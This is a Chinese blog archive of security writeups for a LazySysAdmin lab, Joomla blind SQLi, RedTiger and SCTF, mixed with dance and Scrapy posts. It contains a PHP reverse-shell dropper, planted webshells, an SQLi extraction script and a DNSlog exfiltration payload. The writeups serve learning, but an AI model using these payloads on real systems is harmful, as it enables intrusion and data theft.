Samba，是种用来让UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS（Server Message Block/Common Internet File System）网络协议做链接的自由软件。第三版不仅可访问及分享SMB的文件夹及打印机，本身还可以集成入Windows Server的网域，扮演为网域控制站（Domain Controller）以及加入Active Directory成员。简而言之，此软件在Windows与UNIX系列操作系统之间搭起一座桥梁，让两者的资源可互通有无。--维基百科

按照常规思路先走走，既然有80端口，作为一个web狗，肯定要上去看看有什么可以vanvan的:)

然鹅～没有什么特别的发现，是由一个在线html编辑器做的一个静态页面。

扫下目录之后，真的是令人眼前一亮：发现有phpmyadmin、wordpress

phpMyadmin

爆破失败……

Wordpress

普通的wordpress站点，但是My name is togie 重复了不知道多少次？？重要的事情说N遍？？？

先用kali的WpScan扫一下wordpress站点

一个用户admin，主题是twentyfifteen - v1.8，没有装插件，干干净净的wordpress，想从这打进去怕是不现实了。。。

InspIRCd

没有什么发现……

Samba

看下能不能连进去

发现了一个printf$和一个share$，应该一个是打印机，但是连不上，试了下共享文件夹，打开就发现了惊喜

竟然是wordpress站点的目录，这样子，能搞的事情就多了啦:)，先尝试能不能上传文件，发现不行，但是可以下载文件，那就看下有没有什么敏感信息。

解法一：ssh

有个todolist，但是好像没啥用

有个deets.txt文件

CBF Remembering all these passwords.
Remember to remove this file and update your password after we push out the server.
Password 12345

用户名togie？？？密码12345？？？连连ssh试试？？

我的妈？？surprise？？？

然后尝试一下切换一下目录，发现没有权限

togie@LazySysAdmin:~$ cd /
-rbash: cd: restricted

那试试看看能不能togie用户有没有sudo的权限（讲道理都不会有。。。）

然而又一次让人震惊了。。。

togie@LazySysAdmin:~$ sudo su
[sudo] password for togie: 
root@LazySysAdmin:/home/togie#

于是，顺顺利利拿到flag。。。

这个我觉得是出题人未考虑到的非预期解？？或许这就是题目LazyAdmin的原意？？

解法二：wordpress

顺便看看配置文件，把数据库密码扒下来

连上去phpmyadmin，看下普通的into outfile能不能写shell，发现这是个残废的phpmyadmin

然后忽然想想，刚刚WpScan扫到了一个用户名，可不可以利用起来？数据库密码跟wordpress管理员密码会不会一样？？尝试了一波，惊了！！！

其实既然已经进入了控制面板，就可以有很多方式去写shell了，可以从主题模版的某些php文件中写，也可以看看插件中哪些可以利用。看到一个插件教hello，dolly，里面是打印一首叫“Hello Dolly”的各句歌词在页面右上角，那就从这里入手吧。

将输出歌词的地方，换成我们执行命令的回显

// And then randomly choose a line
$lyrics = "<pre>".shell_exec($_GET['cmd'])."</pre>";
return  wptexturize($lyrics);

既然已经有了RCE，只需要把反弹shell的php脚本传到靶机上就可以了。

<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}

$yourip = "x.x.x.x"; //修改这里
$yourport = "2333"; // 修改这里
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

此外，msf同样也可以创建各种反弹脚本

这里推荐一个用Gist的方法上传脚本（还可以创建私密gist，只能通过url访问）

上传好之后，只需要在RCE处，wget下载到靶机即可

http://192.168.11.130/wordpress/wp-admin/index.php
?cmd=wget https://gist.githubusercontent.com/akkayin/404e282652bda5c9c5f8f56f5953a8ff/raw/fb25d067a742cc2f30b874697178e046f17c6a93/rev.php

然后就是攻击机开放监听端口

root@karma:~# nc -lnvp 2333

在浏览器中访问rev.php，bingo……

connect to [192.168.11.129] from (UNKNOWN) [192.168.11.130] 59658
Linux LazySysAdmin 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)

进行一系列的命令操作后，发现没有TTY

输入下面的命令

python3 -c 'import pty; pty.spawn("/bin/bash")'

到这里，如果是别的靶机，没有这样一个Lazy的Admin，你可以选择提权来获得root权限，但是既然作者这样为止，肯定要警示我们不要像这个lazyadmin一样有这里低级的陋习，所以我们就不需要走提权这条路了，直接用他给的密码登进去，如第一种解法一样即可。

总结

Penetration真的需要很多骚操作，条条大路通罗马
这个靶机实际上并不难，但作者想通过这种简单但是却普遍的Vulnerability来提醒广大admin不要把敏感信息直接存储在显而易见的地方
在penetrate之前，要重视信息收集的工作，每发现一些敏感或看似有用的信息，记得拿小本子记下来，在后面或许有奇效！！

《Ballroom e Youkoso 舞动青春》观后感

Sat, 18 Aug 2018 05:47:04 +0800

第一遍看看得热血沸腾。。。燃起了跳舞的欲望。。。

第二遍注重欣赏舞姿，以致于截取了一些高清大图～～慢慢日后欣赏。。

要是有个能挺起胸膛说喜欢的事情，我就能有所改变了吧。

从内向 -> 自信

无论是否一个人在跳，心中一定要有舞伴……

画框与花

flower & frame

舞蹈并不看阅历，开始舞蹈一年的人也可能赢过跳舞十年的人。

与舞蹈的相遇让我无法忘记……

看到主人公，自己习舞的日子仿佛还在昨日，时间过的实在是太快……当初自己就是因为内向才被母亲“安排”去学舞，一开始为学舞而学舞，后来渐渐迷上了“她”，才明白舞蹈的意义。

与她结缘已13年，她不仅仅只教会了最基础的东西，还教会了我自信地站在舞台上享受舞蹈、教会了我如何用心理解感受partner、给予我舞者不一般的气质……

用三张我最喜欢的gif来感谢一路上陪我走到今天的她……

It's time to set Flags in Sophomore Year (完结)

Fri, 13 Jul 2018 22:22:03 +0800

专注、效率

In my Sophomore Year:

❌ 要考试的科目均分>=90
❌ Skills TOP 10 of whole grade
✔️ 多看几本书
✔️ 接点项目:0
❌ IELTS Total -> 7+

大二上

忙！忙！忙！忙！

体会到当时学姐所说的大二生活了！一个学期下来，各种事情很多，只有临近期末的时候，在复习的间隙中开始记录一下这个学期的点点滴滴～

大二下

在安全圈上走了也有一段时间了，但是每到一个阶段总会有觉得自己还是很菜的赶脚（废话，进入安全圈就要做好持续学习的准备）

浅谈SQL盲注

Wed, 20 Jun 2018 13:55:48 +0800

本文所有实战盲注例子，均来自Joomla! 3.7.0 - 'com_fields' SQL Injection

由于篇幅有限，本文就不去剖析漏洞原理，直接告知payload插入点，来展现盲注的用法（如有需要可自行寻找各方大佬的研究文章）
注入点：
http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=[payload]

BooleanBase

二分法

优点：

比遍历穷举快

缺点：

容易被封ip
速度慢

原理解析

常用函数：

left(x,y) // 从x的最左侧开始截取前y位

ascii(substr((sql),1,1))=num // 从sql语句返回的字符串的第一位开始，截取字符串的一长度，将其转换成ascii编码，然后与num比较

ord(mid((sql),1,1))=num // ord()==ascii()

regexp '^[a-z]' // 在某些情况下，用正则表达式还是很方便的！

最后只需要将手工测试的过程转换成python用代码自动化实现

实战

直接上代码吧

# -*- coding:UTF-8 -*-
import requests
import sys

# 准备工作
url = 'http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]='
string = '0123456789ABCDEFGHIGHLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ''
cookies = {'9e44025326f96e2d9dc1a2aab2dbe5b1' : 'l1p92lf44gi4s7jdf5q73l0bt5'}

response = requests.get('http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (ascii(substr((select database()),1,1)) > 78) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)',cookies=cookies,timeout=2)
print(response.text)


i = 1
while i <= 7:
    left = 0
    right = len(string) - 1
    mid = int((left + right) / 2)
    print('\n')
    print(flag)
    print('Testing... ' + str(left) + ' ' + str(right))
    # 特殊情况
    if (right - left) == 1:
        payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))
        poc = url + payload
        print(poc)
        response = requests.get(poc,cookies=cookies,timout=2)
        if ('安全令牌无效') in response.text:
            flag = flag + string[right]
            print(flag)
            exit()
        else: 
            flag = flag + string[left]
            print(flag)
            exit()
    # 二分法
    while 1:
        mid = int((left + right) / 2)
        payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[mid])))
        poc = url + payload
        print(poc)
        response = requests.get(poc,cookies=cookies,timeout=2)
        # 右半部
        if ('安全令牌无效') in response.text:
            left = mid + 1
            print('left:'+str(left))
        # 左半部
        else: 
            right = mid
            print('right:'+str(right))
        if (left == right):
            flag = flag + string[left]
            break
        # 特殊情况
        if (right - left) == 1:
            payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))
            poc = url + payload
            print(poc)
            response = requests.get(poc,cookies=cookies,timeout=2)
            if ('安全令牌无效') in response.text:
                flag = flag + string[right]
                print(flag)
                break
            else: 
                flag = flag + string[left]
                print(flag)
                break
    i += 1
print(flag)

DNSLOG

优点：

简单，不需要像二分法一样繁琐地一个个遍历
快速（相对于二分法而言）

缺点：

局限于Windows环境下（UNC路径）
Mysql版本>=5.5.53就要检查Secure_file_priv这个全局变量是否为空（若为NULL，则不可用，详见）

原理解析

找了国外的paper研究了一波，不懂的就来一波疯狂乱查，然后拿个小本本记下来～～

虽然大概明白是个什么意思，但是计网的dns知识（明年这个时候才学），我。。。有点晕～

然后自己似懂非懂地画了张利用dnslog进行sql盲注的原理流程图，如有不对，感谢各位大佬指正：

UNC路径：UNC为网络（主要指局域网）上资源的完整Windows 2000名称。
格式：\servername\sharename，其中servername是服务器名。sharename是共享资源的名称。
目录或文件的UNC名称可以包括共享名称下的目录路径，格式为：\servername\sharename\directory\filename。（转自百度）

所以payload里面的四个'\\\\'和两个'\\\'经过转义后再通过concat函数拼接，就形成了\\test.karmaof.me\123的UNC路径。

payload:
?id=1' and if((select load_file(concat('\\\\',(select database()),'.karmaof.me\\123'))),1,1)--+

一开始自己搭建测试环境的时候遇到各种玄学问题……

如何查看mysql是否开启了文件导入导出？
mysql>show global variables like '%secure%';
如果secure_file_priv的值为null，则没开启；如果为空，则开启；如果为目录，则说明只能在该目录下操作。

如何修改secure_file_priv？
windows下：修改my.ini 在[mysqld]内加入secure_file_priv =
linux下：修改my.cnf 在[mysqld]内加入secure_file_priv =
MYSQL新特性secure_file_priv对读写文件的影响
然后重启mysql，再查询secure_file_priv，为空，则已经设置好了。

实战

源码的$query里面带了一层mysqli的escape函数对单双引号等字符进行转义，所以对于dnslog的复现不是很有利，所以我就把过滤去掉了。

但是实践的时候又发现了问题：

查询是正常的，但是，并没有解析到dns记录

然后就做了个愚蠢的试验：

配合报错注入里面的查询，却可以解析到dns记录

后来看到作者用sqlmap跑的payload（DUAL表是一张虚拟表），发现用了一波case when，然后一样可以得到dns记录

但是这里有个疑问就是，尽管后面的句子不会执行，但是else后面的语句一定要加union查询，不加的话，是截获不了dns记录的（估计审一波代码就可以知道为什么了:) ）

所以就去搜了一波 CASE WHEN 然后发现它又是一个功能比较强大的东东:)

```mysql

官方定义：

CASE expression
WHEN condition1 THEN result1
WHEN condition2 THEN result2
...
WHEN conditionN THEN resultN
ELSE result
END

总结来说：case when 有两种用法，类似于C语言的 swicth case

简单判断版

mysql> select * from users;
+

舞蹈 | 《青蛇》

Mon, 18 Jun 2018 12:05:54 +0800

图赏

RedTiger 练习总结

Sat, 02 Jun 2018 11:06:54 +0800

题目传送门

level 1

http://redtiger.labs.overthewire.org/level1.php

上来寻找注入点，看到Category：后面的“1”是个跳转，点了一下就得到"cat=1"

于是就开始尝试。。结果发现。。只是数字型注入，不用闭合‘ “ ) ……，所以直接按照提示构造payload就ok了！

order by
查flag

http://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users

level 2

http://redtiger.labs.overthewire.org/level2.php

这也是一个比较简单的题了。

提示也给了“A simple loginbypass”

一来就用万能密码呗！

万能用户名不行，那就试试万能密码呗。然后就拿到flag了

username=admin&password=1'or 1=1#&login=Login

level 3

Hint: Try to get an error. Tablename: level3_users

估计就是报错注入呗～

但是好像思路不对。。。然后试了半天，没试出来，就去看看大佬的wp，才知道，是要报错。。但是这个报错点也太。。。。。又学了一波新知识～

报错：将usr变为一个数组，然后进行提交。

错误顺利抛出：

Warning: preg_match() expects parameter 2 to be string, array given in /var/www/html/hackit/urlcrypt.inc on line 25

然后得到关于.inc的一些资料：

.inc 文件，顾名思义就是include file，实际上文件的后缀对于文件包含是无所谓，你可以包含一个asp文件，也可以包含txt文。一般我们使用inc作为后缀，是因为这样能体现该文件的作用。

然后就去把源码down下来

<?php

    // warning! ugly code ahead :)
    // 加密函数 
    function encrypt($str)
    {
        $cryptedstr = "";
        srand(3284724);
        for ($i =0; $i < strlen($str); $i++)
        {
            $temp = ord(substr($str,$i,1)) ^ rand(0, 255);

            while(strlen($temp)<3)
            {
                $temp = "0".$temp;
            }
            $cryptedstr .= $temp. "";
        }
        return base64_encode($cryptedstr);
    }
    # 解密函数
    function decrypt ($str)
    {
        srand(3284724);
        if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))
        {
            $str = base64_decode($str);
            if ($str != "" && $str != null && $str != false)
            {
                $decStr = "";

                for ($i=0; $i < strlen($str); $i+=3)
                {
                    $array[$i/3] = substr($str,$i,3);
                }

                foreach($array as $s)
                {
                    $a = $s ^ rand(0, 255);
                    $decStr .= chr($a);
                }

                return $decStr;
            }
            return false;
        }
        return false;
    }
?>

告诉了加解密的算法，那样不就简单了嘛，跟第一题的思路一样，就可以拿到用户名和密码了。

但是后来加密了之后发现死活查询不出来。。然后又查了一波资料。。。得知win和linux下加密出来的字符串是不一样的。因为windows和linux对于相同的srand()种子下rand()得出的随机数不一样，导致加密函数只在linux下有效。最后改在docker里面运行加密函数，继续下面的过程

# order by
original:
https://redtiger.labs.overthewire.org/level3.php?usr=Admin' order by 6
encode:
https://redtiger.labs.overthewire.org/level3.php
?usr=MDQyMjExMDE0MTgyMTQwMTc0MjIzMDg3MjA4MTAxMTg0MTQyMDA5MTczMDA2MDY5MjMzMDY4MTc1MDg5 

original:
https://redtiger.labs.overthewire.org/level3.php?usr=Admin' order by 7
encode:
https://redtiger.labs.overthewire.org/level3.php
?usr=MDQyMjExMDE0MTgyMTQwMTc0MjIzMDg3MjA4MTAxMTg0MTQyMDA5MTczMDA2MDY5MjMyMDY4MTc1MDg5
# order by 会报错，不晓得为啥，但是union就查询正常～～

# union 查回显
original:
https://redtiger.labs.overthewire.org/level3.php
?usr=' union select 1,2,3,4,5,6,7'
encode:
https://redtiger.labs.overthewire.org/level3.php
?usr=MDc2MTk0MDEzMTgyMTQxMjMxMjIzMDc1MTk5MTA5MTg0MTU5MDkzMjM5MDc4MDczMjM3MDc3MTc0MDcwMDU3MTk5MjM0MjE5MDgyMjQ2MTUzMjE5
# 查用户名和密码
original:
https://redtiger.labs.overthewire.org/level3.php?usr=' union select 1,username,3,4,5,password,7 from level3_users where username='Admin
encode:
https://redtiger.labs.overthewire.org/level3.php
?usr=MDc2MTUxMDIyMTc3MTM5MjMwMTQ1MDI0MjA5MTAwMTc3MTUzMDc0MTg3MDk1MDg0MjQzMDIwMjM4MDE1MTI3MTMzMTkwMTU0MDAxMjQ2MTU3MjA4MTc3MDk2MTI4MjIwMTE2MTIxMTYzMTQ5MjEzMTYwMTA4MDMyMjUyMjAzMDk3MTU2MTkwMTc1MDEzMTM5MDc4MTU1MDk2MDg1MTM0MTk3MTE5MDU5MTYzMTc4MDU2MDM3MDAzMTM2MDQ3MDY2MTA2MTE0MDQ2MjA2MTQ4MDcyMTQxMjE0MDc1MDQ0MjE1MjAzMDM3MDgyMTk4MDcyMTIzMjE1

舞蹈 | 《Lemon》

Fri, 01 Jun 2018 12:05:01 +0800

图赏

SCTF 2018 WriteUp & Summary

Mon, 21 May 2018 07:30:14 +0800

官方Wp / Nu1L WP

Web

新的建议板

一开始就去测试基本的xss，后来发现script被过滤了。

后来大佬提示看加载，发现有一个angular.***.js的js加载。

然后搜了一波发现了几篇科普文和总结绕过姿势的文章

AngularJS沙箱绕过：反射型XSS导致麦当劳用户密码泄露

AngularJS沙盒逃逸姿势总结

XSS without HTML: Client-Side Template Injection with AngularJS

这题的收获就是，学会如何用xss去获取想要的信息（cookies、页面源码……）、还有用nc监听端口获取信息。

最后，发现Google的xss平台也挺好玩的。有空通关一波！

Nginx的秘密

这道题结合了好几个考点。。我一开始只找到了XXE的xml上传漏洞点

第一个关键点是Web缓存漏洞，没找到这个，就算xxe弄出来了也没用……

static存在目录穿越漏洞，然后结合题目hint，下载nginx的配置文件，然后与默认配置文件进行对比，查找difference

easiest web - phpmyadmin

这道题跟之前小组内的那次内网题的入口差不多，一样是通过禁用 INTO OUTFILE 来免杀一句话木马，但是可以通过日志记录写一句话马进去。

set global general_log='on';
set global general_log_file='D:/phpStudy/www/karma.php'; # 查看 general log file查看网站根目录位置
select "<?php ($_=@$_GET[a]).@$_($_POST['cmd']); ?>";
set global general_log=off; # 可有可无

连上之后就可以发现flag在根目录了。至于提(搅)权(屎)，应该也是可行的。

Misc

神奇的Modbus

追踪tcp流，当时没有反应过来少了个o…就错过了一血。。

被动了手脚的数据

Modbus协议分析——TCP/RTU

工业控制系统安全之——Modbus学习笔记

肥宅快乐

这个游戏。。玩通关就会有flag，但是作为一个geek，肯定要找捷径啊！！就像Nu1L战队一样，以来直接

ActionScriptViewer直接解包看到Instance of Symbol 1217 MovieClip "textBox" in Symbol 2369 MovieClip Frame 440中存在"Normally I would be. This is for you U1lDe0YzaVpoYWlfa3U0aWxlX1QxMTF9, I thought I'd get to safer ground."

侧信道初探

这是跟硬件安全有关的知识，侧信道

一开始死看这几行代码是什么意思。。。但是后面hint说是简单的能量分析攻击（SPA），就说明可以直接读能量图得到flag，但是后来读错了。。正确读法如下：

神秘的交易

软件

[原创]用逻辑嗅探破解接触式IC卡口令

这个是4422卡，稍微好读好懂一点。但是要注意从右往左读，逻辑分析仪左往右是低到⾼，我们读的时候是从⾼到低。反正就是去读一遍文档看看有什么特性，然后就是读就好了。

交易识破后的报复

SLE4428 IC卡介绍及应用

FM4428 8K 位接触式逻辑加密卡电路

4428卡每次写/擦除数据都要校验，连续八次校验密码不成功，卡就会被自动锁死。

当时做的时候，根据上一题那样的做法，去读，去看文档，结果找到校验的片段（1011 0011 xxxx xxxx）。想着有修改，应该只需要对比就可以得出哪里做了修改，然后把可疑的flag都找出来，发现。。不行。。后来看了wp发现自己有个点理解错了（4428控制字只有6位）

Crypto

it may contain 'flag'

n=0x1fb18fb44f4449f45ea938306c47b91f64b6c176bd24dbb35aa876f73859c90f0e1677d07430a1188176bc0b901ca7b01f6a99a7df3aec3dd41c3d80f0d17292e43940295b2aa0e8e5823ffcf9f5f448a289f2d3cb27366f907ee62d1aaeba490e892dc69dacbafa941ab7be809e1f882054e26add5892b1fcf4e9f1c443d93bf
e=0xe42a12145eaa816e2846200608080305c99468042450925789504307cbc54a20ed7071b68b067b703a1679d861795542f8cbd2d1cb4d3847d0940cac018cdb0fa729571afbe10c1b8be2dd8acd99ee48b77d53c435b9c2fed59e12e02ad8cfc2bcc46ad85534c266dcc1f3a1a03d87118eaf3f5b3eeeb3be84ad023a4bf34939
c=0xd19d63015bdcb0b61824237b5c67cb2ef09af0c6cd30e193ff9683357b1e45ab4df607b8c1e0b96cafc49a84d7e655c3ce0f71b1d217eec9ca6cdfa57dd3dc92533b79431aa8a7d6ca67ac9cdd65b178a5a96ab7ce7bf88440f4a9b9d10151b0c942a42fdab9ea2c2f0c3706e9777c91dcc9bbdee4b0fb7f5d3001719c1dd3d3
Tell me the msg.

CTF中RSA的常见攻击方法

搜集资料，发现他是低解密指数攻击，所以可以用Wiener Attack来攻击，直接下载大佬的脚本，将参数修改，就可以跑出来了。

a number problem

x**33=1926041757553905692219721422025224638913707 mod 3436415358139016629092568198745009225773259
tell me the smallest answer of x

数论的知识～～连续肝一天半的时候，半夜疯狂看中国剩余定理，结果。。似懂非懂，发现还是不会。

扩展欧几里得算法与中国剩余定理留一波大佬的解释，等明年学密码学之前再看看～～

但是打完之后，发现有一个非预期解：

看来以后去读master的时候，有救了:)WolframAlpha

ElGamal Hacker

离散对数求私钥

舞蹈 | 《典狱司》

Sun, 20 May 2018 12:04:13 +0800

图赏

How to Spider(Scrapy) faster and faster

Tue, 24 Apr 2018 08:23:52 +0800

何为异步？何为多线程？何为多进程？

异步

Asyncio模块，等把Scrapy弄懂再学一下自己写高效的爬虫

多线程

I/O密集等待时间过多采取多线程

所谓IO密集型任务，是指磁盘IO、网络IO占主要的任务，计算量很小。比如请求网页、读写文件等。当然我们在Python中可以利用sleep达到IO密集型任务的目的。

可用：

thread模块_thread，提供低等级接口
threading模块，提供更容易使用的基于对象的接口，可以继承Thread对象来实现线程，此外其还提供了其它线程相关的对象，例如Timer，Lock等。

多进程

计算密集采取多进程充分利用CPU多核心优势

所谓计算密集型任务，是指CPU计算占主要的任务，CPU一直处于满负荷状态。比如在一个很大的列表中查找元素（当然这不合理），复杂的加减乘除等。

可用：mutliprocess模块，提供了很多容易使用的基于对象的接口。另外它提供了封装好的管道和队列，可以方便的在进程间传递消息。Python还提供了进程池Pool对象，可以方便的管理和控制线程。

参考资料

Python进阶：聊聊IO密集型任务、计算密集型任务，以及多线程、多进程

Python进阶：理解Python中的异步IO和协程(Coroutine)，并应用在爬虫中

拥有属于自己的Python爬虫框架--练习编写多线程、协程爬虫框架！

一位大佬关于爬虫的系列教程

Scrapy Warm-Up

Tue, 17 Apr 2018 09:40:10 +0800

Novel

单线程

先写个简单的没有JS异步加载的爬小说吧！

关键点在于用选择器来定位你要爬的内容。。单单在这一点上，我就觉得Scrapy比BeautifulSoup方便不知道多少倍了。。因为Scrapy的shell简直是神器，手动测试=>精准定位=>直接复制=>bingo！

chapter = response.xpath("//div[@class='bookname']/h1/text()").extract()
content = response.xpath("//div[@id='content']/text()").extract()
next_page = response.xpath("//div[@class='bottem']/a/@href")[3].extract()

至于如何储存提取的数据，那就根据需求来选择就好了。可以选择python的写入文件，也可以存储在json、jl里面。

但是，这种单线程爬取，实在是太慢了。。。对于上千上万的请求。。怕是要挂一晚上哦～～

所以，继续阅读文档，再学一波多线程爬取。。那就perfect啦！（后来发现Scrapy就是协程的，所以。。如果是多核电脑，你只可以开多个进程来加快速度～）

多线程

暂时如果不跳出Scrapy的限制的话，可能只能同时启动多个spider来实现效率上的提升吧？

爬图片

process_item()

题库

最近做了个爬题库的项目，根据金主爸爸的需求去爬，统一格式。。方才明白，爬虫容易，洗数据，统一格式才是。。让人抓狂的。

不过一件事情翻炒翻炒，就会有不同的收获！

储存方式

pipeline

scrapy默认 -o 参数是储存到一个文件里面，但是如果数据动不动上G，打开都容易死机～更别说处理的时候了（而且面对大数据，现成工具的用处并不大。。。千万不要尝试手动处理。。。自己写脚本才是比较geek的方法！！）

这次储存的是json格式的数据，而且金主爸爸要求每个文件大小不超过20M。

一开始我是一整套爬下来，再用脚本分片，感觉效率还是不够高（关键是还很麻烦）。

后来再查了点资料，翻炒了文档，就去模仿自定义了一个pipeline

# 自定义pipeline
import json
import codecs
import math
import os


point = {}
class ChuZhongPipeline(object):


    # 初始化时指定要操作的文件
    def __init__(self):
        print('\nstoring..ChuZhong..')

    # 存储数据，将 Item 实例作为 json 数据写入到文件中
    def process_item(self, item, spider):
        global point
        pointName = item['pointName']
        grade = item['grade']
        dir_path = "./地理/%s" % grade
        # 不存在文件夹则创建
        if not os.path.exists(dir_path):
            os.makedirs(dir_path)
        # 不存在该知识点的文件名，则创建
        if pointName not in point:
            point[pointName] = 1
            count = str(math.floor(point[pointName] / 1000))
            filename = dir_path + "/" + pointName + "_" + count + ".json"
            self.file = codecs.open(filename, 'w', encoding='utf-8')
            self.file.close()
        elif pointName in point:
            point[pointName]+= 1

        # 写入文件
        if (point[pointName] % 1000) != 0:
            count = str(math.floor(point[pointName] / 1000))
            currentname = dir_path + "/" + pointName + "_" + count + ".json"
            self.file = codecs.open(currentname,'a', encoding='utf-8')
            lines = json.dumps(dict(item), ensure_ascii=False) + ',\n'
            self.file.write(lines)
            self.file.close()
        elif (point[pointName] % 1000) == 0:
            count = str(math.floor(point[pointName] / 1000))
            currentname = dir_path + "/" + pointName + "_" + count + ".json"
            self.file = codecs.open(currentname,'a', encoding='utf-8')
            lines = json.dumps(dict(item), ensure_ascii=False) + ',\n'
            self.file.write(lines)
            self.file.close()
            count = str(math.floor(point[pointName] / 1000))
            filename = dir_path + "/" + pointName + "_" + count + ".json"
            self.file = codecs.open(filename, 'w', encoding='utf-8')
        return item

这里实现的功能是，根据传过来的item，创建相应文件夹，和文件名，并限制一个文件的行数（scrapy写入json是一行一个数据），代码比较累赘，但是。。起码完成了我的需求是吧:)

这个代码一开始是遇到了坑的：

Process_item()里面只能用item里面的数据来自动化，如果你直接在这个pipeline里面设置一个全局变量，试图通过它来完成自动化创建与写入文件，我感觉是行不通的～～（关键是我太菜了！）
由于scrapy的协程机制，写入文件的时候，你必须重新打开相应文件，来写入。。不然就会把一些奇奇怪怪的数据写到一个与他无关的文件里面，数据就混乱了！！
还有一点就是，注意代码逻辑！！！注意代码逻辑！！！注意代码逻辑！！！

爬取数据任务完成了之后，只需要再写个脚本，把格式统一一下，把json文件的两个 [] 补上，就大功告成了！

item exporter

这是用另一种方式储存json，但是这样储存是把所有数据写到一行里，不利于后续处理，所以我舍弃了。

from scrapy.exporters import JsonItemExporter
class ExercisesPipeline(object):
    # 调用 scrapy 提供的 json exporter 导出 json 文件
    def __init__(self):
        self.file = open('questions_exporter.json', 'wb')
        # 初始化 exporter 实例，执行输出的文件和编码
        self.exporter = JsonItemExporter(self.file,encoding='utf-8',ensure_ascii=False)
        # 开启倒数
        self.exporter.start_exporting()

    def close_spider(self, spider):
        self.exporter.finish_exporting()
        self.file.close()

    # 将 Item 实例导出到 json 文件
    def process_item(self, item, spider):
        self.exporter.export_item(item)
        return item

Settings设置的高级应用

官方文档中scrapy中settings参数有四个级别：

命令行选项(Command line Options)(最高优先级)
项目设定模块(Project settings module)
命令默认设定模块(Default settings per-command)
全局默认设定(Default global settings) (最低优先级)

在这个项目中，我主要用了第二个setting。众所周知，一个scrapy项目中只有一个全局settings.py，所以我一般只会在里面设置一些全局参数（UA等一系列可以不变的变量），然后就可以用custom_settings来自定义项目的一些设置：

Eg:

spiders/somespider.py

from ..custom_settings import *

class Spider1(CrawlSpider):
    name = "spider1"
    custom_settings = custom_settings_for_spider1
    pass

class Spider2(CrawlSpider):
    name = "spider2"
    custom_settings = custom_settings_for_spider2

custom_settings.py

custom_settings_for_spider1 = {
    'LOG_FILE': 'spider1.log',                              # 日志文件
    'CONCURRENT_REQUESTS': 100,                             # 请求并发数
    'DOWNLOADER_MIDDLEWARES': {                             # 下载中间件
        'spider.middleware_for_spider1.Middleware': 667,
    },
    'ITEM_PIPELINES': {
        'spider.mysql_pipeline_for_spider1.Pipeline': 400,  # 管道中间件
    },
}

custom_settings_for_spider2 = {
    'LOG_FILE': 'spider2.log',
    'CONCURRENT_REQUESTS': 40,
    'DOWNLOADER_MIDDLEWARES': {
        'spider.middleware_for_spider2.Middleware': 667,
    },
    'ITEM_PIPELINES': {
        'spider.mysql_pipeline_for_spider2.Pipeline': 400,
    },
}

这里的设置优先级会比settings高，就可以为某一特定spider写一个定制的下载中间件，来绕过一下反爬机制

如果每个爬虫的储存方式，有不同需求，就可以定制不同的pipeline来储存，只需要把你的想法加到pipeline.py即可（记住对应名字）

参考资料

scrapy中settings参数的使用详解

感悟 | My College Life

